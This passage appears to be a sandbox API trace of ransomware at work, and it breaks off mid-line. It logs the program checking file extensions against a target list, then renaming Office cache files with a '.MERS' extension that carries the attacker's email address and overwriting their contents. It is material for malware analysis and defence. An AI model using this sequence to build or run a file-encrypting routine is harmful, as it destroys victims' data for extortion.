[0045.827] lstrlenW (lpString=".ppt") returned 4 [0045.827] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.827] lstrlenW (lpString=".zip") returned 4 [0045.827] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.827] lstrlenW (lpString=".rar") returned 4 [0045.827] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.827] lstrlenW (lpString=".bz2") returned 4 [0045.827] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.827] lstrlenW (lpString=".7z") returned 3 [0045.827] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.827] lstrlenW (lpString=".dbf") returned 4 [0045.827] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.827] lstrlenW (lpString=".1cd") returned 4 [0045.827] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.827] lstrlenW (lpString=".jpg") returned 4 [0045.827] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.827] lstrlenW (lpString=".doc") returned 4 [0045.827] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.827] lstrlenW (lpString=".docx") returned 5 [0045.827] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.828] lstrlenW (lpString=".pdf") returned 4 [0045.828] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.828] lstrlenW (lpString=".xls") returned 4 [0045.828] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.828] lstrlenW (lpString=".xlsx") returned 5 [0045.828] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.828] lstrlenW (lpString=".ppt") returned 4 [0045.828] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.828] lstrlenW (lpString=".zip") returned 4 [0045.828] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.828] lstrlenW (lpString=".rar") returned 4 [0045.828] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.828] lstrlenW (lpString=".bz2") returned 4 [0045.828] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.828] lstrlenW (lpString=".7z") returned 3 [0045.828] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.828] lstrlenW (lpString=".dbf") returned 4 [0045.828] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.828] lstrlenW (lpString=".1cd") returned 4 [0045.828] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.828] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0045.828] lstrlenW (lpString=".jpg") returned 4 [0045.828] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.828] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0045.828] lstrlenW (lpString="osetup.dll") returned 10 [0045.828] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0045.829] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7378792) returned 1 [0045.829] CloseHandle (hObject=0x1d4) returned 1 [0045.829] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0045.829] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.829] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0045.829] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0045.829] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.829] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.829] ReadFile (in: hFile=0x1d4, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.542] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.542] ReadFile (in: hFile=0x1d4, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.614] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.614] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.614] ReadFile (in: hFile=0x1d4, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.707] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.708] WriteFile (in: hFile=0x1d4, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0046.721] SetEndOfFile (hFile=0x1d4) returned 1 [0046.722] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x43a0048 [0047.197] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.197] WriteFile (in: hFile=0x1d4, lpBuffer=0x43a0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x43a0048*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.198] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.198] WriteFile (in: hFile=0x1d4, lpBuffer=0x43a0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x43a0048*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.200] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.200] WriteFile (in: hFile=0x1d4, lpBuffer=0x43a0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x43a0048*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.202] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x43a0048 | out: hHeap=0x5f0000) returned 1 [0047.238] CloseHandle (hObject=0x1d4) returned 1 [0047.238] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0047.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.239] lstrlenW (lpString=".doc") returned 4 [0047.239] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.239] lstrlenW (lpString=".docx") returned 5 [0047.239] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0047.239] lstrlenW (lpString=".pdf") returned 4 [0047.239] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.239] lstrlenW (lpString=".xls") returned 4 [0047.239] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.239] lstrlenW (lpString=".xlsx") returned 5 [0047.239] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0047.239] lstrlenW (lpString=".ppt") returned 4 [0047.239] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.239] lstrlenW (lpString=".zip") returned 4 [0047.239] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.239] lstrlenW (lpString=".rar") returned 4 [0047.239] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.239] lstrlenW (lpString=".bz2") returned 4 [0047.239] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.239] lstrlenW (lpString=".7z") returned 3 [0047.239] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.239] lstrlenW (lpString=".dbf") returned 4 [0047.239] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.239] lstrlenW (lpString=".1cd") returned 4 [0047.239] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.239] lstrlenW (lpString=".jpg") returned 4 [0047.239] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.240] lstrlenW (lpString=".doc") returned 4 [0047.240] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.240] lstrlenW (lpString=".docx") returned 5 [0047.240] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0047.240] lstrlenW (lpString=".pdf") returned 4 [0047.240] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.240] lstrlenW (lpString=".xls") returned 4 [0047.240] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.240] lstrlenW (lpString=".xlsx") returned 5 [0047.240] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0047.240] lstrlenW (lpString=".ppt") returned 4 [0047.240] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.240] lstrlenW (lpString=".zip") returned 4 [0047.240] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.240] lstrlenW (lpString=".rar") returned 4 [0047.240] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.240] lstrlenW (lpString=".bz2") returned 4 [0047.240] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.240] lstrlenW (lpString=".7z") returned 3 [0047.240] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.240] lstrlenW (lpString=".dbf") returned 4 [0047.240] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.240] lstrlenW (lpString=".1cd") returned 4 [0047.240] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.240] lstrlenW (lpString=".jpg") returned 4 [0047.240] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.240] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0047.240] lstrlenW (lpString="Office32WW.msi") returned 14 [0047.241] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0047.521] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1992192) returned 1 [0047.521] CloseHandle (hObject=0x1c4) returned 1 [0047.521] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0047.521] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.521] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0047.522] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0047.522] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.522] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.522] ReadFile (in: hFile=0x1c4, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.562] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.563] ReadFile (in: hFile=0x1c4, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.586] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.586] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.586] ReadFile (in: hFile=0x1c4, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.639] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.639] WriteFile (in: hFile=0x1c4, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0047.673] SetEndOfFile (hFile=0x1c4) returned 1 [0047.673] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0047.885] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.885] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.887] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.887] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.889] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.890] WriteFile (in: hFile=0x1c4, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.892] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0047.910] CloseHandle (hObject=0x1c4) returned 1 [0047.911] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0047.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.911] lstrlenW (lpString=".doc") returned 4 [0047.911] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.911] lstrlenW (lpString=".docx") returned 5 [0047.911] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0047.911] lstrlenW (lpString=".pdf") returned 4 [0047.911] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.911] lstrlenW (lpString=".xls") returned 4 [0047.911] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.911] lstrlenW (lpString=".xlsx") returned 5 [0047.911] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0047.911] lstrlenW (lpString=".ppt") returned 4 [0047.911] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.911] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.911] lstrlenW (lpString=".zip") returned 4 [0047.911] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.911] lstrlenW (lpString=".rar") returned 4 [0047.911] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.911] lstrlenW (lpString=".bz2") returned 4 [0047.911] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.911] lstrlenW (lpString=".7z") returned 3 [0047.912] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.912] lstrlenW (lpString=".dbf") returned 4 [0047.912] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.912] lstrlenW (lpString=".1cd") returned 4 [0047.912] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.912] lstrlenW (lpString=".jpg") returned 4 [0047.912] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.912] lstrlenW (lpString=".doc") returned 4 [0047.912] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.912] lstrlenW (lpString=".docx") returned 5 [0047.912] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0047.912] lstrlenW (lpString=".pdf") returned 4 [0047.912] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.912] lstrlenW (lpString=".xls") returned 4 [0047.912] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.912] lstrlenW (lpString=".xlsx") returned 5 [0047.912] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0047.912] lstrlenW (lpString=".ppt") returned 4 [0047.912] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.912] lstrlenW (lpString=".zip") returned 4 [0047.912] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.912] lstrlenW (lpString=".rar") returned 4 [0047.912] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.912] lstrlenW (lpString=".bz2") returned 4 [0047.912] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.912] lstrlenW (lpString=".7z") returned 3 [0047.913] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.913] lstrlenW (lpString=".dbf") returned 4 [0047.913] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.913] lstrlenW (lpString=".1cd") returned 4 [0047.913] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.913] lstrlenW (lpString=".jpg") returned 4 [0047.913] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.913] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0047.913] lstrlenW (lpString="PrjProrWW.msi") returned 13 [0047.913] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0047.924] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10798080) returned 1 [0047.924] CloseHandle (hObject=0x1c4) returned 1 [0047.924] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi")) returned 0x2020 [0047.924] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all 